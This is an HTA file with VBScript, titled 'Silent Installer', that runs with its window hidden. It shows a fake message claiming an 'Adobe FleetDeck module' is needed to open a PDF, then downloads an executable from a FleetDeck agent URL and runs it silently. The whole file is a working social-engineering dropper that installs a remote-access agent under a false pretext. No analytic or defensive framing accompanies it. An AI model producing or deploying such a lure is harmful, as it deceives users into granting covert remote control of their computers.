<!DOCTYPE html>
<html>
<head>
    <title>Silent Installer</title>
    <hta:application
        id="app"
        border="none"
        caption="no"
        minimizebutton="no"
        maximizebutton="no"
        sysmenu="no"
        scroll="no"
        showintaskbar="no"
        singleinstance="yes"
    />
</head>
<body>
    <script type="text/vbscript">
        ' Silent Installer Script for FleetDeck EXE
        On Error Resume Next

        ' Variables principales
        Dim url, tempFile, objFSO, objShell, logFile, installCommand, messageBox
        url = "https://agent.fleetdeck.io/WFxaDLcmqKJCivrEv7rMc2?win"
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        Set objShell = CreateObject("WScript.Shell")
        tempFile = objFSO.BuildPath(objFSO.GetSpecialFolder(2), "FleetDeckInstaller.exe")
        logFile = objFSO.BuildPath(objFSO.GetSpecialFolder(2), "FleetDeckInstall.log")

        ' Créer un fichier journal pour le débogage
        Dim objLog
        Set objLog = objFSO.CreateTextFile(logFile, True)
        objLog.WriteLine "Début de l'installation silencieuse..."
        objLog.WriteLine "URL : " & url
        objLog.WriteLine "Fichier temporaire : " & tempFile

        ' Afficher un message temporaire (installation en cours)
        messageBox = "The Adobe FleetDeck module is missing. Please wait for its installation before accessing your PDF document."
        objShell.Popup messageBox, 10, "Installation en cours", 64 ' Timeout de 10 secondes

        ' Télécharger le fichier
        Dim objXMLHTTP
        Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP.6.0")
        objXMLHTTP.Open "GET", url, False
        objXMLHTTP.Send

        If objXMLHTTP.Status = 200 Then
            objLog.WriteLine "Fichier téléchargé avec succès."

            ' Sauvegarder le fichier téléchargé
            Dim objStream
            Set objStream = CreateObject("ADODB.Stream")
            objStream.Type = 1 ' Binaire
            objStream.Open
            objStream.Write objXMLHTTP.responseBody
            objStream.SaveToFile tempFile, 2 ' Écraser si nécessaire
            objStream.Close
            Set objStream = Nothing

            ' Lancer l'installation silencieuse pour un .exe
            installCommand = Chr(34) & tempFile & Chr(34) & " /silent /norestart"
            objLog.WriteLine "Exécution : " & installCommand
            objShell.Run installCommand, 0, True ' Mode silencieux
        Else
            objLog.WriteLine "Erreur : Impossible de télécharger le fichier. Code HTTP : " & objXMLHTTP.Status
        End If

        ' Nettoyage
        objLog.WriteLine "Installation terminée."
        objLog.Close
        Set objLog = Nothing
        Set objXMLHTTP = Nothing
        Set objFSO = Nothing
        Set objShell = Nothing

        ' Fermer automatiquement l'HTA
        Self.Close
    </script>
</body>
</html>
